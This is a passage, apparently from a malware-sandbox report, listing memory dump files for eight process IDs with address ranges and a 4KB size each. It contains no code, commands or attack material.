                                                                                                                                                                                                                                                                                                                                                                                      • memory/3060-334-0x0000000004C00000-0x0000000004C01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3392-293-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3472-354-0x0000000000950000-0x0000000000951000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3672-382-0x0000000001060000-0x0000000001061000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3752-386-0x0000000004B20000-0x0000000004B21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3884-315-0x0000000000470000-0x0000000000471000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/3964-322-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                                                                                                                      • memory/4044-329-0x0000000000330000-0x0000000000331000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                                        4KB